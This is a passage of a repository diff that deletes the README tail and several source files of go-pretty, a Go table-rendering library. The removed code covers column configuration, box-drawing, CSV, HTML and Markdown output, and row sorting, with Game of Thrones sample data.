20,Jon,Snow,2000,"You know nothing\, Jon Snow!"
300,Tyrion,Lannister,5000,
,,Total,10000,
```
### ... HTML Table
```golang
t.Style().HTML = table.HTMLOptions{
CSSClass: "game-of-thrones",
EmptyColumn: "&nbsp;",
EscapeText: true,
Newline: "<br/>",
}
t.RenderHTML()
```
to get:
```html
<table class="game-of-thrones">
<thead>
<tr>
<th align="right">#</th>
<th>First Name</th>
<th>Last Name</th>
<th align="right">Salary</th>
<th>&nbsp;</th>
</tr>
</thead>
<tbody>
<tr>
<td align="right">1</td>
<td>Arya</td>
<td>Stark</td>
<td align="right">3000</td>
<td>&nbsp;</td>
</tr>
<tr>
<td align="right">20</td>
<td>Jon</td>
<td>Snow</td>
<td align="right">2000</td>
<td>You know nothing, Jon Snow!</td>
</tr>
<tr>
<td align="right">300</td>
<td>Tyrion</td>
<td>Lannister</td>
<td align="right">5000</td>
<td>&nbsp;</td>
</tr>
</tbody>
<tfoot>
<tr>
<td align="right">&nbsp;</td>
<td>&nbsp;</td>
<td>Total</td>
<td align="right">10000</td>
<td>&nbsp;</td>
</tr>
</tfoot>
</table>
```
### ... Markdown Table
```golang
t.RenderMarkdown()
```
to get:
```markdown
| # | First Name | Last Name | Salary | |
| ---:| --- | --- | ---:| --- |
| 1 | Arya | Stark | 3000 | |
| 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
| 300 | Tyrion | Lannister | 5000 | |
| | | Total | 10000 | |
```
-92
View File
@@ -1,92 +0,0 @@
package table
import (
"github.com/jedib0t/go-pretty/v6/text"
)
// ColumnConfig contains configurations that determine and modify the way the
// contents of the column get rendered.
type ColumnConfig struct {
// Name is the name of the Column as it appears in the first Header row.
// If a Header is not provided, or the name is not found in the header, this
// will not work.
Name string
// Number is the Column # from left. When specified, it overrides the Name
// property. If you know the exact Column number, use this instead of Name.
Number int
// Align defines the horizontal alignment
Align text.Align
// AlignFooter defines the horizontal alignment of Footer rows
AlignFooter text.Align
// AlignHeader defines the horizontal alignment of Header rows
AlignHeader text.Align
// AutoMerge merges cells with similar values and prevents separators from
// being drawn. Caveats:
// * VAlign is applied on the individual cell and not on the merged cell
// * Does not work in CSV/HTML/Markdown render modes
// * Does not work well with horizontal auto-merge (RowConfig.AutoMerge)
//
// Works best when:
// * Style().Options.SeparateRows == true
// * Style().Color.Row == Style().Color.RowAlternate (or not set)
AutoMerge bool
// Colors defines the colors to be used on the column
Colors text.Colors
// ColorsFooter defines the colors to be used on the column in Footer rows
ColorsFooter text.Colors
// ColorsHeader defines the colors to be used on the column in Header rows
ColorsHeader text.Colors
// Hidden when set to true will prevent the column from being rendered.
// This is useful in cases like needing a column for sorting, but not for
// display.
Hidden bool
// Transformer is a custom-function that changes the way the value gets
// rendered to the console. Refer to text/transformer.go for ready-to-use
// Transformer functions.
Transformer text.Transformer
// TransformerFooter is like Transformer but for Footer rows
TransformerFooter text.Transformer
// TransformerHeader is like Transformer but for Header rows
TransformerHeader text.Transformer
// VAlign defines the vertical alignment
VAlign text.VAlign
// VAlignFooter defines the vertical alignment in Footer rows
VAlignFooter text.VAlign
// VAlignHeader defines the vertical alignment in Header rows
VAlignHeader text.VAlign
// WidthMax defines the maximum character length of the column
WidthMax int
// WidthEnforcer enforces the WidthMax value on the column contents;
// default: text.WrapText
WidthMaxEnforcer WidthEnforcer
// WidthMin defines the minimum character length of the column
WidthMin int
}
func (c ColumnConfig) getWidthMaxEnforcer() WidthEnforcer {
if c.WidthMax == 0 {
return widthEnforcerNone
}
if c.WidthMaxEnforcer != nil {
return c.WidthMaxEnforcer
}
return text.WrapText
}
// RowConfig contains configurations that determine and modify the way the
// contents of a row get rendered.
type RowConfig struct {
// AutoMerge merges cells with similar values and prevents separators from
// being drawn. Caveats:
// * Align is overridden to text.AlignCenter on the merged cell
// * Does not work in CSV/HTML/Markdown render modes
// * Does not work well with vertical auto-merge (ColumnConfig.AutoMerge)
AutoMerge bool
}
-431
View File
@@ -1,431 +0,0 @@
package table
import (
"fmt"
"strings"
"unicode/utf8"
"github.com/jedib0t/go-pretty/v6/text"
)
// Render renders the Table in a human-readable "pretty" format. Example:
// ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ 1 │ Arya │ Stark │ 3000 │ │
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ │ │ TOTAL │ 10000 │ │
// └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
func (t *Table) Render() string {
t.initForRender()
var out strings.Builder
if t.numColumns > 0 {
t.renderTitle(&out)
// top-most border
t.renderRowsBorderTop(&out)
// header rows
t.renderRowsHeader(&out)
// (data) rows
t.renderRows(&out, t.rows, renderHint{})
// footer rows
t.renderRowsFooter(&out)
// bottom-most border
t.renderRowsBorderBottom(&out)
// caption
if t.caption != "" {
out.WriteRune('\n')
out.WriteString(t.caption)
}
}
return t.render(&out)
}
func (t *Table) renderColumn(out *strings.Builder, row rowStr, colIdx int, maxColumnLength int, hint renderHint) int {
numColumnsRenderer := 1
// when working on the first column, and autoIndex is true, insert a new
// column with the row number on it.
if colIdx == 0 && t.autoIndex {
hintAutoIndex := hint
hintAutoIndex.isAutoIndexColumn = true
t.renderColumnAutoIndex(out, hintAutoIndex)
}
// when working on column number 2 or more, render the column separator
if colIdx > 0 {
t.renderColumnSeparator(out, row, colIdx, hint)
}
// extract the text, convert-case if not-empty and align horizontally
mergeVertically := t.shouldMergeCellsVertically(colIdx, hint)
var colStr string
if mergeVertically {
// leave colStr empty; align will expand the column as necessary
} else if colIdx < len(row) {
colStr = t.getFormat(hint).Apply(row[colIdx])
}
align := t.getAlign(colIdx, hint)
// if horizontal cell merges are enabled, look ahead and see how many cells
// have the same content and merge them all until a cell with a different
// content is found; override alignment to Center in this case
if t.getRowConfig(hint).AutoMerge && !hint.isSeparatorRow {
for idx := colIdx + 1; idx < len(row); idx++ {
if row[colIdx] != row[idx] {
break
}
align = text.AlignCenter
maxColumnLength += t.maxColumnLengths[idx] +
text.RuneCount(t.style.Box.PaddingRight+t.style.Box.PaddingLeft) +
text.RuneCount(t.style.Box.PaddingRight)
numColumnsRenderer++
}
}
colStr = align.Apply(colStr, maxColumnLength)
// pad both sides of the column
if !hint.isSeparatorRow || (hint.isSeparatorRow && mergeVertically) {
colStr = t.style.Box.PaddingLeft + colStr + t.style.Box.PaddingRight
}
t.renderColumnColorized(out, colIdx, colStr, hint)
return colIdx + numColumnsRenderer
}
func (t *Table) renderColumnAutoIndex(out *strings.Builder, hint renderHint) {
var outAutoIndex strings.Builder
outAutoIndex.Grow(t.maxColumnLengths[0])
if hint.isSeparatorRow {
numChars := t.autoIndexVIndexMaxLength + utf8.RuneCountInString(t.style.Box.PaddingLeft) +
utf8.RuneCountInString(t.style.Box.PaddingRight)
chars := t.style.Box.MiddleHorizontal
if hint.isAutoIndexColumn && hint.isHeaderOrFooterSeparator() {
chars = text.RepeatAndTrim(" ", len(t.style.Box.MiddleHorizontal))
}
outAutoIndex.WriteString(text.RepeatAndTrim(chars, numChars))
} else {
outAutoIndex.WriteString(t.style.Box.PaddingLeft)
rowNumStr := fmt.Sprint(hint.rowNumber)
if hint.isHeaderRow || hint.isFooterRow || hint.rowLineNumber > 1 {
rowNumStr = strings.Repeat(" ", t.autoIndexVIndexMaxLength)
}
outAutoIndex.WriteString(text.AlignRight.Apply(rowNumStr, t.autoIndexVIndexMaxLength))
outAutoIndex.WriteString(t.style.Box.PaddingRight)
}
if t.style.Color.IndexColumn != nil {
colors := t.style.Color.IndexColumn
if hint.isFooterRow {
colors = t.style.Color.Footer
}
out.WriteString(colors.Sprint(outAutoIndex.String()))
} else {
out.WriteString(outAutoIndex.String())
}
hint.isAutoIndexColumn = true
t.renderColumnSeparator(out, rowStr{}, 0, hint)
}
func (t *Table) renderColumnColorized(out *strings.Builder, colIdx int, colStr string, hint renderHint) {
colors := t.getColumnColors(colIdx, hint)
if colors != nil {
out.WriteString(colors.Sprint(colStr))
} else if hint.isHeaderRow && t.style.Color.Header != nil {
out.WriteString(t.style.Color.Header.Sprint(colStr))
} else if hint.isFooterRow && t.style.Color.Footer != nil {
out.WriteString(t.style.Color.Footer.Sprint(colStr))
} else if hint.isRegularRow() {
if colIdx == t.indexColumn-1 && t.style.Color.IndexColumn != nil {
out.WriteString(t.style.Color.IndexColumn.Sprint(colStr))
} else if hint.rowNumber%2 == 0 && t.style.Color.RowAlternate != nil {
out.WriteString(t.style.Color.RowAlternate.Sprint(colStr))
} else if t.style.Color.Row != nil {
out.WriteString(t.style.Color.Row.Sprint(colStr))
} else {
out.WriteString(colStr)
}
} else {
out.WriteString(colStr)
}
}
func (t *Table) renderColumnSeparator(out *strings.Builder, row rowStr, colIdx int, hint renderHint) {
if t.style.Options.SeparateColumns {
separator := t.getColumnSeparator(row, colIdx, hint)
colors := t.getSeparatorColors(hint)
if colors.EscapeSeq() != "" {
out.WriteString(colors.Sprint(separator))
} else {
out.WriteString(separator)
}
}
}
func (t *Table) renderLine(out *strings.Builder, row rowStr, hint renderHint) {
// if the output has content, it means that this call is working on line
// number 2 or more; separate them with a newline
if out.Len() > 0 {
out.WriteRune('\n')
}
// use a brand new strings.Builder if a row length limit has been set
var outLine *strings.Builder
if t.allowedRowLength > 0 {
outLine = &strings.Builder{}
} else {
outLine = out
}
// grow the strings.Builder to the maximum possible row length
outLine.Grow(t.maxRowLength)
nextColIdx := 0
t.renderMarginLeft(outLine, hint)
for colIdx, maxColumnLength := range t.maxColumnLengths {
if colIdx != nextColIdx {
continue
}
nextColIdx = t.renderColumn(outLine, row, colIdx, maxColumnLength, hint)
}
t.renderMarginRight(outLine, hint)
// merge the strings.Builder objects if a new one was created earlier
if outLine != out {
outLineStr := outLine.String()
if text.RuneCount(outLineStr) > t.allowedRowLength {
trimLength := t.allowedRowLength - utf8.RuneCountInString(t.style.Box.UnfinishedRow)
if trimLength > 0 {
out.WriteString(text.Trim(outLineStr, trimLength))
out.WriteString(t.style.Box.UnfinishedRow)
}
} else {
out.WriteString(outLineStr)
}
}
// if a page size has been set, and said number of lines has already
// been rendered, and the header is not being rendered right now, render
// the header all over again with a spacing line
if hint.isRegularRow() {
t.numLinesRendered++
if t.pageSize > 0 && t.numLinesRendered%t.pageSize == 0 && !hint.isLastLineOfLastRow() {
t.renderRowsFooter(out)
t.renderRowsBorderBottom(out)
out.WriteString(t.style.Box.PageSeparator)
t.renderRowsBorderTop(out)
t.renderRowsHeader(out)
}
}
}
func (t *Table) renderMarginLeft(out *strings.Builder, hint renderHint) {
if t.style.Options.DrawBorder {
border := t.style.Box.Left
if hint.isBorderTop {
if t.title != "" {
border = t.style.Box.LeftSeparator
} else {
border = t.style.Box.TopLeft
}
} else if hint.isBorderBottom {
border = t.style.Box.BottomLeft
} else if hint.isSeparatorRow {
if t.autoIndex && hint.isHeaderOrFooterSeparator() {
border = t.style.Box.Left
} else if !t.autoIndex && t.shouldMergeCellsVertically(0, hint) {
border = t.style.Box.Left
} else {
border = t.style.Box.LeftSeparator
}
}
colors := t.getBorderColors(hint)
if colors.EscapeSeq() != "" {
out.WriteString(colors.Sprint(border))
} else {
out.WriteString(border)
}
}
}
func (t *Table) renderMarginRight(out *strings.Builder, hint renderHint) {
if t.style.Options.DrawBorder {
border := t.style.Box.Right
if hint.isBorderTop {
if t.title != "" {
border = t.style.Box.RightSeparator
} else {
border = t.style.Box.TopRight
}
} else if hint.isBorderBottom {
border = t.style.Box.BottomRight
} else if hint.isSeparatorRow {
if t.shouldMergeCellsVertically(t.numColumns-1, hint) {
border = t.style.Box.Right
} else {
border = t.style.Box.RightSeparator
}
}
colors := t.getBorderColors(hint)
if colors.EscapeSeq() != "" {
out.WriteString(colors.Sprint(border))
} else {
out.WriteString(border)
}
}
}
func (t *Table) renderRow(out *strings.Builder, row rowStr, hint renderHint) {
if len(row) > 0 {
// fit every column into the allowedColumnLength/maxColumnLength limit
// and in the process find the max. number of lines in any column in
// this row
colMaxLines := 0
rowWrapped := make(rowStr, len(row))
for colIdx, colStr := range row {
widthEnforcer := t.columnConfigMap[colIdx].getWidthMaxEnforcer()
rowWrapped[colIdx] = widthEnforcer(colStr, t.maxColumnLengths[colIdx])
colNumLines := strings.Count(rowWrapped[colIdx], "\n") + 1
if colNumLines > colMaxLines {
colMaxLines = colNumLines
}
}
// if there is just 1 line in all columns, add the row as such; else
// split each column into individual lines and render them one-by-one
if colMaxLines == 1 {
hint.isLastLineOfRow = true
t.renderLine(out, rowWrapped, hint)
} else {
// convert one row into N # of rows based on colMaxLines
rowLines := make([]rowStr, len(row))
for colIdx, colStr := range rowWrapped {
rowLines[colIdx] = t.getVAlign(colIdx, hint).ApplyStr(colStr, colMaxLines)
}
for colLineIdx := 0; colLineIdx < colMaxLines; colLineIdx++ {
rowLine := make(rowStr, len(rowLines))
for colIdx, colLines := range rowLines {
rowLine[colIdx] = colLines[colLineIdx]
}
hint.isLastLineOfRow = colLineIdx == colMaxLines-1
hint.rowLineNumber = colLineIdx + 1
t.renderLine(out, rowLine, hint)
}
}
}
}
func (t *Table) renderRowSeparator(out *strings.Builder, hint renderHint) {
if hint.isBorderTop || hint.isBorderBottom {
if !t.style.Options.DrawBorder {
return
}
} else if hint.isHeaderRow && !t.style.Options.SeparateHeader {
return
} else if hint.isFooterRow && !t.style.Options.SeparateFooter {
return
}
hint.isSeparatorRow = true
t.renderLine(out, t.rowSeparator, hint)
}
func (t *Table) renderRows(out *strings.Builder, rows []rowStr, hint renderHint) {
for rowIdx, row := range rows {
hint.isFirstRow = rowIdx == 0
hint.isLastRow = rowIdx == len(rows)-1
hint.rowNumber = rowIdx + 1
t.renderRow(out, row, hint)
if (t.style.Options.SeparateRows && rowIdx < len(rows)-1) || // last row before footer
(t.separators[rowIdx] && rowIdx != len(rows)-1) { // manually added separator not after last row
hint.isFirstRow = false
t.renderRowSeparator(out, hint)
}
}
}
func (t *Table) renderRowsBorderBottom(out *strings.Builder) {
t.renderRowSeparator(out, renderHint{isBorderBottom: true, isFooterRow: true})
}
func (t *Table) renderRowsBorderTop(out *strings.Builder) {
t.renderRowSeparator(out, renderHint{isBorderTop: true, isHeaderRow: true})
}
func (t *Table) renderRowsFooter(out *strings.Builder) {
if len(t.rowsFooter) > 0 {
t.renderRowSeparator(out, renderHint{
isFooterRow: true,
isFirstRow: true,
isSeparatorRow: true,
})
t.renderRows(out, t.rowsFooter, renderHint{isFooterRow: true})
}
}
func (t *Table) renderRowsHeader(out *strings.Builder) {
if len(t.rowsHeader) > 0 || t.autoIndex {
if len(t.rowsHeader) > 0 {
t.renderRows(out, t.rowsHeader, renderHint{isHeaderRow: true})
} else if t.autoIndex {
t.renderRow(out, t.getAutoIndexColumnIDs(), renderHint{isAutoIndexRow: true, isHeaderRow: true})
}
t.renderRowSeparator(out, renderHint{
isHeaderRow: true,
isLastRow: true,
isSeparatorRow: true,
rowNumber: len(t.rowsHeader),
})
}
}
func (t *Table) renderTitle(out *strings.Builder) {
if t.title != "" {
rowLength := t.maxRowLength
if t.allowedRowLength != 0 && t.allowedRowLength < rowLength {
rowLength = t.allowedRowLength
}
if t.style.Options.DrawBorder {
lenBorder := rowLength - text.RuneCount(t.style.Box.TopLeft+t.style.Box.TopRight)
out.WriteString(t.style.Box.TopLeft)
out.WriteString(text.RepeatAndTrim(t.style.Box.MiddleHorizontal, lenBorder))
out.WriteString(t.style.Box.TopRight)
}
lenText := rowLength - text.RuneCount(t.style.Box.PaddingLeft+t.style.Box.PaddingRight)
if t.style.Options.DrawBorder {
lenText -= text.RuneCount(t.style.Box.Left + t.style.Box.Right)
}
titleText := text.WrapText(t.title, lenText)
for _, titleLine := range strings.Split(titleText, "\n") {
titleLine = strings.TrimSpace(titleLine)
titleLine = t.style.Title.Format.Apply(titleLine)
titleLine = t.style.Title.Align.Apply(titleLine, lenText)
titleLine = t.style.Box.PaddingLeft + titleLine + t.style.Box.PaddingRight
titleLine = t.style.Title.Colors.Sprint(titleLine)
if out.Len() > 0 {
out.WriteRune('\n')
}
if t.style.Options.DrawBorder {
out.WriteString(t.style.Box.Left)
}
out.WriteString(titleLine)
if t.style.Options.DrawBorder {
out.WriteString(t.style.Box.Right)
}
}
}
}
-81
View File
@@ -1,81 +0,0 @@
package table
import (
"fmt"
"strings"
"unicode/utf8"
)
// RenderCSV renders the Table in CSV format. Example:
// #,First Name,Last Name,Salary,
// 1,Arya,Stark,3000,
// 20,Jon,Snow,2000,"You know nothing\, Jon Snow!"
// 300,Tyrion,Lannister,5000,
// ,,Total,10000,
func (t *Table) RenderCSV() string {
t.initForRender()
var out strings.Builder
if t.numColumns > 0 {
if t.title != "" {
out.WriteString(t.title)
}
if t.autoIndex && len(t.rowsHeader) == 0 {
t.csvRenderRow(&out, t.getAutoIndexColumnIDs(), renderHint{isAutoIndexRow: true, isHeaderRow: true})
}
t.csvRenderRows(&out, t.rowsHeader, renderHint{isHeaderRow: true})
t.csvRenderRows(&out, t.rows, renderHint{})
t.csvRenderRows(&out, t.rowsFooter, renderHint{isFooterRow: true})
if t.caption != "" {
out.WriteRune('\n')
out.WriteString(t.caption)
}
}
return t.render(&out)
}
func (t *Table) csvFixCommas(str string) string {
return strings.Replace(str, ",", "\\,", -1)
}
func (t *Table) csvFixDoubleQuotes(str string) string {
return strings.Replace(str, "\"", "\\\"", -1)
}
func (t *Table) csvRenderRow(out *strings.Builder, row rowStr, hint renderHint) {
// when working on line number 2 or more, insert a newline first
if out.Len() > 0 {
out.WriteRune('\n')
}
// generate the columns to render in CSV format and append to "out"
for colIdx, colStr := range row {
// auto-index column
if colIdx == 0 && t.autoIndex {
if hint.isRegularRow() {
out.WriteString(fmt.Sprint(hint.rowNumber))
}
out.WriteRune(',')
}
if colIdx > 0 {
out.WriteRune(',')
}
if strings.ContainsAny(colStr, "\",\n") {
out.WriteRune('"')
out.WriteString(t.csvFixCommas(t.csvFixDoubleQuotes(colStr)))
out.WriteRune('"')
} else if utf8.RuneCountInString(colStr) > 0 {
out.WriteString(colStr)
}
}
for colIdx := len(row); colIdx < t.numColumns; colIdx++ {
out.WriteRune(',')
}
}
func (t *Table) csvRenderRows(out *strings.Builder, rows []rowStr, hint renderHint) {
for rowIdx, row := range rows {
hint.rowNumber = rowIdx + 1
t.csvRenderRow(out, row, hint)
}
}
-235
View File
@@ -1,235 +0,0 @@
package table
import (
"fmt"
"html"
"strings"
)
const (
// DefaultHTMLCSSClass stores the css-class to use when none-provided via
// SetHTMLCSSClass(cssClass string).
DefaultHTMLCSSClass = "go-pretty-table"
)
// RenderHTML renders the Table in HTML format. Example:
// <table class="go-pretty-table">
// <thead>
// <tr>
// <th align="right">#</th>
// <th>First Name</th>
// <th>Last Name</th>
// <th align="right">Salary</th>
// <th>&nbsp;</th>
// </tr>
// </thead>
// <tbody>
// <tr>
// <td align="right">1</td>
// <td>Arya</td>
// <td>Stark</td>
// <td align="right">3000</td>
// <td>&nbsp;</td>
// </tr>
// <tr>
// <td align="right">20</td>
// <td>Jon</td>
// <td>Snow</td>
// <td align="right">2000</td>
// <td>You know nothing, Jon Snow!</td>
// </tr>
// <tr>
// <td align="right">300</td>
// <td>Tyrion</td>
// <td>Lannister</td>
// <td align="right">5000</td>
// <td>&nbsp;</td>
// </tr>
// </tbody>
// <tfoot>
// <tr>
// <td align="right">&nbsp;</td>
// <td>&nbsp;</td>
// <td>Total</td>
// <td align="right">10000</td>
// <td>&nbsp;</td>
// </tr>
// </tfoot>
// </table>
func (t *Table) RenderHTML() string {
t.initForRender()
var out strings.Builder
if t.numColumns > 0 {
out.WriteString("<table class=\"")
if t.htmlCSSClass != "" {
out.WriteString(t.htmlCSSClass)
} else {
out.WriteString(t.style.HTML.CSSClass)
}
out.WriteString("\">\n")
t.htmlRenderTitle(&out)
t.htmlRenderRowsHeader(&out)
t.htmlRenderRows(&out, t.rows, renderHint{})
t.htmlRenderRowsFooter(&out)
t.htmlRenderCaption(&out)
out.WriteString("</table>")
}
return t.render(&out)
}
func (t *Table) htmlRenderCaption(out *strings.Builder) {
if t.caption != "" {
out.WriteString(" <caption class=\"caption\" style=\"caption-side: bottom;\">")
out.WriteString(t.caption)
out.WriteString("</caption>\n")
}
}
func (t *Table) htmlRenderColumnAttributes(out *strings.Builder, row rowStr, colIdx int, hint renderHint) {
// determine the HTML "align"/"valign" property values
align := t.getAlign(colIdx, hint).HTMLProperty()
vAlign := t.getVAlign(colIdx, hint).HTMLProperty()
// determine the HTML "class" property values for the colors
class := t.getColumnColors(colIdx, hint).HTMLProperty()
if align != "" {
out.WriteRune(' ')
out.WriteString(align)
}
if class != "" {
out.WriteRune(' ')
out.WriteString(class)
}
if vAlign != "" {
out.WriteRune(' ')
out.WriteString(vAlign)
}
}
func (t *Table) htmlRenderColumnAutoIndex(out *strings.Builder, hint renderHint) {
if hint.isHeaderRow {
out.WriteString(" <th>")
out.WriteString(t.style.HTML.EmptyColumn)
out.WriteString("</th>\n")
} else if hint.isFooterRow {
out.WriteString(" <td>")
out.WriteString(t.style.HTML.EmptyColumn)
out.WriteString("</td>\n")
} else {
out.WriteString(" <td align=\"right\">")
out.WriteString(fmt.Sprint(hint.rowNumber))
out.WriteString("</td>\n")
}
}
func (t *Table) htmlRenderRow(out *strings.Builder, row rowStr, hint renderHint) {
out.WriteString(" <tr>\n")
for colIdx := 0; colIdx < t.numColumns; colIdx++ {
// auto-index column
if colIdx == 0 && t.autoIndex {
t.htmlRenderColumnAutoIndex(out, hint)
}
// get the column contents
var colStr string
if colIdx < len(row) {
colStr = row[colIdx]
}
// header uses "th" instead of "td"
colTagName := "td"
if hint.isHeaderRow {
colTagName = "th"
}
// write the row
out.WriteString(" <")
out.WriteString(colTagName)
t.htmlRenderColumnAttributes(out, row, colIdx, hint)
out.WriteString(">")
if len(colStr) == 0 {
out.WriteString(t.style.HTML.EmptyColumn)
} else {
if t.style.HTML.EscapeText {
colStr = html.EscapeString(colStr)
}
if t.style.HTML.Newline != "\n" {
colStr = strings.Replace(colStr, "\n", t.style.HTML.Newline, -1)
}
out.WriteString(colStr)
}
out.WriteString("</")
out.WriteString(colTagName)
out.WriteString(">\n")
}
out.WriteString(" </tr>\n")
}
func (t *Table) htmlRenderRows(out *strings.Builder, rows []rowStr, hint renderHint) {
if len(rows) > 0 {
// determine that tag to use based on the type of the row
rowsTag := "tbody"
if hint.isHeaderRow {
rowsTag = "thead"
} else if hint.isFooterRow {
rowsTag = "tfoot"
}
var renderedTagOpen, shouldRenderTagClose bool
for idx, row := range rows {
hint.rowNumber = idx + 1
if len(row) > 0 {
if !renderedTagOpen {
out.WriteString(" <")
out.WriteString(rowsTag)
out.WriteString(">\n")
renderedTagOpen = true
}
t.htmlRenderRow(out, row, hint)
shouldRenderTagClose = true
}
}
if shouldRenderTagClose {
out.WriteString(" </")
out.WriteString(rowsTag)
out.WriteString(">\n")
}
}
}
func (t *Table) htmlRenderRowsFooter(out *strings.Builder) {
if len(t.rowsFooter) > 0 {
t.htmlRenderRows(out, t.rowsFooter, renderHint{isFooterRow: true})
}
}
func (t *Table) htmlRenderRowsHeader(out *strings.Builder) {
if len(t.rowsHeader) > 0 {
t.htmlRenderRows(out, t.rowsHeader, renderHint{isHeaderRow: true})
} else if t.autoIndex {
hint := renderHint{isAutoIndexRow: true, isHeaderRow: true}
t.htmlRenderRows(out, []rowStr{t.getAutoIndexColumnIDs()}, hint)
}
}
func (t *Table) htmlRenderTitle(out *strings.Builder) {
if t.title != "" {
align := t.style.Title.Align.HTMLProperty()
colors := t.style.Title.Colors.HTMLProperty()
title := t.style.Title.Format.Apply(t.title)
out.WriteString(" <caption class=\"title\"")
if align != "" {
out.WriteRune(' ')
out.WriteString(align)
}
if colors != "" {
out.WriteRune(' ')
out.WriteString(colors)
}
out.WriteRune('>')
out.WriteString(title)
out.WriteString("</caption>\n")
}
}
-110
View File
@@ -1,110 +0,0 @@
package table
import (
"fmt"
"strings"
)
// RenderMarkdown renders the Table in Markdown format. Example:
// | # | First Name | Last Name | Salary | |
// | ---:| --- | --- | ---:| --- |
// | 1 | Arya | Stark | 3000 | |
// | 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
// | 300 | Tyrion | Lannister | 5000 | |
// | | | Total | 10000 | |
func (t *Table) RenderMarkdown() string {
t.initForRender()
var out strings.Builder
if t.numColumns > 0 {
t.markdownRenderTitle(&out)
t.markdownRenderRowsHeader(&out)
t.markdownRenderRows(&out, t.rows, renderHint{})
t.markdownRenderRowsFooter(&out)
t.markdownRenderCaption(&out)
}
return t.render(&out)
}
func (t *Table) markdownRenderCaption(out *strings.Builder) {
if t.caption != "" {
out.WriteRune('\n')
out.WriteRune('_')
out.WriteString(t.caption)
out.WriteRune('_')
}
}
func (t *Table) markdownRenderRow(out *strings.Builder, row rowStr, hint renderHint) {
// when working on line number 2 or more, insert a newline first
if out.Len() > 0 {
out.WriteRune('\n')
}
// render each column up to the max. columns seen in all the rows
out.WriteRune('|')
for colIdx := 0; colIdx < t.numColumns; colIdx++ {
// auto-index column
if colIdx == 0 && t.autoIndex {
out.WriteRune(' ')
if hint.isSeparatorRow {
out.WriteString("---:")
} else if hint.isRegularRow() {
out.WriteString(fmt.Sprintf("%d ", hint.rowNumber))
}
out.WriteRune('|')
}
if hint.isSeparatorRow {
out.WriteString(t.getAlign(colIdx, hint).MarkdownProperty())
} else {
var colStr string
if colIdx < len(row) {
colStr = row[colIdx]
}
out.WriteRune(' ')
if strings.Contains(colStr, "|") {
colStr = strings.Replace(colStr, "|", "\\|", -1)
}
if strings.Contains(colStr, "\n") {
colStr = strings.Replace(colStr, "\n", "<br/>", -1)
}
out.WriteString(colStr)
out.WriteRune(' ')
}
out.WriteRune('|')
}
}
func (t *Table) markdownRenderRows(out *strings.Builder, rows []rowStr, hint renderHint) {
if len(rows) > 0 {
for idx, row := range rows {
hint.rowNumber = idx + 1
t.markdownRenderRow(out, row, hint)
if idx == len(rows)-1 && hint.isHeaderRow {
t.markdownRenderRow(out, t.rowSeparator, renderHint{isSeparatorRow: true})
}
}
}
}
func (t *Table) markdownRenderRowsFooter(out *strings.Builder) {
t.markdownRenderRows(out, t.rowsFooter, renderHint{isFooterRow: true})
}
func (t *Table) markdownRenderRowsHeader(out *strings.Builder) {
if len(t.rowsHeader) > 0 {
t.markdownRenderRows(out, t.rowsHeader, renderHint{isHeaderRow: true})
} else if t.autoIndex {
t.markdownRenderRows(out, []rowStr{t.getAutoIndexColumnIDs()}, renderHint{isAutoIndexRow: true, isHeaderRow: true})
}
}
func (t *Table) markdownRenderTitle(out *strings.Builder) {
if t.title != "" {
out.WriteString("# ")
out.WriteString(t.title)
}
}
-119
View File
@@ -1,119 +0,0 @@
package table
import (
"sort"
"strconv"
)
// SortBy defines What to sort (Column Name or Number), and How to sort (Mode).
type SortBy struct {
// Name is the name of the Column as it appears in the first Header row.
// If a Header is not provided, or the name is not found in the header, this
// will not work.
Name string
// Number is the Column # from left. When specified, it overrides the Name
// property. If you know the exact Column number, use this instead of Name.
Number int
// Mode tells the Writer how to Sort. Asc/Dsc/etc.
Mode SortMode
}
// SortMode defines How to sort.
type SortMode int
const (
// Asc sorts the column in Ascending order alphabetically.
Asc SortMode = iota
// AscNumeric sorts the column in Ascending order numerically.
AscNumeric
// Dsc sorts the column in Descending order alphabetically.
Dsc
// DscNumeric sorts the column in Descending order numerically.
DscNumeric
)
type rowsSorter struct {
rows []rowStr
sortBy []SortBy
sortedIndices []int
}
// getSortedRowIndices sorts and returns the row indices in Sorted order as
// directed by Table.sortBy which can be set using Table.SortBy(...)
func (t *Table) getSortedRowIndices() []int {
sortedIndices := make([]int, len(t.rows))
for idx := range t.rows {
sortedIndices[idx] = idx
}
if t.sortBy != nil && len(t.sortBy) > 0 {
sort.Sort(rowsSorter{
rows: t.rows,
sortBy: t.parseSortBy(t.sortBy),
sortedIndices: sortedIndices,
})
}
return sortedIndices
}
func (t *Table) parseSortBy(sortBy []SortBy) []SortBy {
var resSortBy []SortBy
for _, col := range sortBy {
colNum := 0
if col.Number > 0 && col.Number <= t.numColumns {
colNum = col.Number
} else if col.Name != "" && len(t.rowsHeader) > 0 {
for idx, colName := range t.rowsHeader[0] {
if col.Name == colName {
colNum = idx + 1
break
}
}
}
if colNum > 0 {
resSortBy = append(resSortBy, SortBy{
Name: col.Name,
Number: colNum,
Mode: col.Mode,
})
}
}
return resSortBy
}
func (rs rowsSorter) Len() int {
return len(rs.rows)
}
func (rs rowsSorter) Swap(i, j int) {
rs.sortedIndices[i], rs.sortedIndices[j] = rs.sortedIndices[j], rs.sortedIndices[i]
}
func (rs rowsSorter) Less(i, j int) bool {
realI, realJ := rs.sortedIndices[i], rs.sortedIndices[j]
for _, col := range rs.sortBy {
rowI, rowJ, colIdx := rs.rows[realI], rs.rows[realJ], col.Number-1
if colIdx < len(rowI) && colIdx < len(rowJ) {
if rowI[colIdx] == rowJ[colIdx] {
continue
} else if col.Mode == Asc {
return rowI[colIdx] < rowJ[colIdx]
} else if col.Mode == Dsc {
return rowI[colIdx] > rowJ[colIdx]
}
iVal, iErr := strconv.ParseFloat(rowI[colIdx], 64)
jVal, jErr := strconv.ParseFloat(rowJ[colIdx], 64)
if iErr == nil && jErr == nil {
if col.Mode == AscNumeric {
return iVal < jVal
} else if col.Mode == DscNumeric {
return jVal < iVal
}
}
}
}
return false
}
-874
View File
@@ -1,874 +0,0 @@
package table
import (
"github.com/jedib0t/go-pretty/v6/text"
)
// Style declares how to render the Table and provides very fine-grained control
